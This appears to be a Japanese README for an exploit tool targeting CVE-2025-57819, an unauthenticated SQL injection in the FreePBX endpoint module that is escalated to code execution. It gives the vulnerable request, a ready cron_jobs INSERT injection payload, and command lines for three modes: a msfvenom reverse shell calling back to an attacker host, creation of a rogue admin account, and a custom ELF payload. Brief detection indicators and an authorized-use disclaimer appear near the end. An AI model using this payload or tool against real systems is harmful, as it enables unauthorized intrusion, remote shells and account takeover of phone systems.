
FreePBX 認証前SQLiからRCEへ (CVE-2025-57819) — オールインワンエクスプロイト
CVE-2025-57819 のオールインワンエクスプロイトです。FreePBXのendpointモジュールにおける認証不要のSQLインジェクションで、 cronジョブインジェクションを介してリモートコード実行につながります。
FreePBXは、認証を必要とせずに admin/ajax.php?module=FreePBX\modules\endpoint\ajax エンドポイントを公開しています(CWE-288)。
brand パラメータはサニタイズなしでSQLクエリに直接渡されるため(CWE-89)、攻撃者は asterisk データベースに任意のSQL文を注入できます。
[Unauthenticated HTTP request]
│
▼
admin/ajax.php?module=FreePBX\...\ajax&command=model&brand=<SQLi>
│
▼
SQL Injection into `cron_jobs` table
(INSERT with attacker-controlled command, schedule="* * * * *")
│
▼
Within ~60 seconds, the cron daemon executes the command as the `asterisk` user
│
▼
Remote Code Execution
このエクスプロイトは次の3つのモードをサポートしています:
msfvenom を使用して linux/x64/shell_reverse_tcp バイナリを生成しますpython3 cve_2025_57819_aio.py <target_url> <lhost> <lport>
例:
python3 cve_2025_57819_aio.py http://freepbx.internal 10.10.14.85 4452
リバースシェルにはポート4452、HTTPステージサーバーにはポート4453を使用します。
--create-user)SQLiを介して新しいFreePBX管理者アカウントを作成します。リバースシェル、リーチバック、バイナリは一切不要です。
python3 cve_2025_57819_aio.py http://freepbx.internal --create-user
--payload <path>)msfvenomでバイナリを生成する代わりに、独自のELFバイナリを使用します。
python3 cve_2025_57819_aio.py http://freepbx.internal 10.10.14.85 4452 \
--payload /path/to/custom_shell.elf
requests ライブラリ(pip install requests)msfvenom)、または --payload によるカスタムペイロード--create-user モード用: Python + requests 以外は不要脆弱なエンドポイントは次のとおりです:
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax&command=model&template=XXX&model=XXX&brand=<SQLi>
brand パラメータはサニタイズなしでSQL INSERTに連結されます。
エクスプロイトはインジェクションを次のように構築します:
';INSERT INTO cron_jobs (modulename,jobname,command,...) VALUES ('X','Y','<CMD>',NULL,'* * * * *',30,1,1) --
末尾の -- は、元のクエリの残りの部分をコメントアウトします。
FreePBXはAsteriskのcronサブシステムを使用します。cronジョブは毎分チェックされます。
挿入されたジョブのスケジュール(* * * * *)が一致すると、コマンドは asterisk システムユーザーとして実行されます。
セッション終了後(またはタイムアウト時)、エクスプロイトはDELETE SQLiを送信して、注入されたcronジョブを cron_jobs から削除します。
asterisk.cron_jobs 内の予期しないエントリasterisk ユーザーからのリバースシェル接続ampusers 内のランダムな新しい管理者アカウント(--create-user モードの場合)endpointモジュールを修正済みバージョンに更新してください:
本ソフトウェアは、教育目的および認可されたセキュリティテスト目的のみで提供されます。 所有していないシステム、またはテストする明示的な許可を得ていないシステムへの不正使用は違法です。 作者は誤用について一切責任を負いません。